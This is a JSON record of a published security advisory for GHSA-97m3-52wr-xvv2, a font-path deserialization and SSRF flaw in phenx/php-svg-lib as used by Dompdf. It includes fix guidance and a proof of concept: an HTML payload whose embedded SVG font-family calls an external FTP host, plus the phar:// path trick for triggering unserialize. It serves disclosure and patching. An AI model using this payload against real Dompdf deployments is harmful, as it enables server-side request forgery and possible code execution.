{"answers":{"affected":"2 open source packages ship an affected version, including phenx/php-svg-lib.","exploited":"There is no known exploitation of GHSA-97m3-52wr-xvv2 in the wild and no public exploit code.","fix":"Upgrade phenx/php-svg-lib to 0.5.2 or later.","what":"GHSA-97m3-52wr-xvv2 is an unsafe deserialization vulnerability in phenx/php-svg-lib, published on 22 Feb 2024. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-97m3-52wr-xvv2 and fix it if it is affected.\n\nWhat it is: GHSA-97m3-52wr-xvv2 is an unsafe deserialization vulnerability in phenx/php-svg-lib, published on 22 Feb 2024. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-97m3-52wr-xvv2 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- phenx/php-svg-lib (Packagist): affected all versions; fixed in 0.5.2\n- phenx/php-svg-lib (Packagist): affected all versions; fixed in 0.5.2\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-97m3-52wr-xvv2/ (Markdown: https://insights.sbomify.com/GHSA-97m3-52wr-xvv2/index.md)","id":"GHSA-97m3-52wr-xvv2","markdown":"https://insights.sbomify.com/GHSA-97m3-52wr-xvv2/index.md","name":"GHSA-97m3-52wr-xvv2","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"upgrade","impacts":["code_execution","security_bypass"],"network_reachable":"yes","non_default_config":false,"product_category":"PHP PDF library","requires_auth":"none","summary":"Attackers can achieve remote code execution or SSRF via unsafe deserialization in Dompdf's font handling when processing malicious SVG inputs.","user_interaction":"not_required","vuln_class":"deserialization"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nA lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP \u003c 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\n### Details\nThe problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\n```\n$name = basename($font);\n$dir = dirname($font);\n[...]\n$metrics_name = \"$name.ufm\";\n[...]\n\nif (!isset($this-\u003efonts[$font]) \u0026\u0026 file_exists(\"$dir/$metrics_name\")) {\n```\n\nPassing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\n### PoC\n\nConsider the following, minimal PHP code : \n\n```\n\u003c?php\nrequire('vendor/autoload.php');\n\nuse Dompdf\\Dompdf;\n$dompdf = new Dompdf();\n$dompdf-\u003eloadHtml($_GET['payload']);\n$dompdf-\u003esetPaper('A4', 'landscape');\n$options = $dompdf-\u003egetOptions();\n$options-\u003esetAllowedProtocols([]);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n```\n\nWith payload being this html file : \n\n```\n\u003chtml\u003e\n\u003cimg src=\"data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8c3ZnIHhtbG5zOnN2Zz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIyMDAiIGhlaWdodD0iMjAwIj4NCiAgICA8dGV4dCB4PSIyMCIgeT0iMzUiIHN0eWxlPSJjb2xvcjpyZWQ7Zm9udC1mYW1pbHk6ZnRwOi8vYmxha2wuaXM6MjEveC95OyI+TXk8L3RleHQ+DQo8L3N2Zz4=\"\u003e\u003c/img\u003e\n\u003c/html\u003e\n```\n\nwith the base64 image being : \n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n    \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nA connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.","ecosystems":["Packagist"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE","id":"GHSA-97m3-52wr-xvv2","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Packagist","product":null,"products":[],"type":"deserialization","year":"2024"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Packagist","fixed":["0.5.2"],"introduced":["0"],"last_affected":[],"package":"phenx/php-svg-lib","purl":null,"source":"GHSA-97m3-52wr-xvv2"},{"ecosystem":"Packagist","fixed":["0.5.2"],"introduced":["0"],"last_affected":[],"package":"phenx/php-svg-lib","purl":"pkg:composer/phenx/php-svg-lib","source":"GHSA-97m3-52wr-xvv2"}],"products":null,"published":"2024-02-22","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can achieve remote code execution or SSRF via unsafe deserialization in Dompdf's font handling when processing malicious SVG inputs.","url":"https://insights.sbomify.com/GHSA-97m3-52wr-xvv2/"}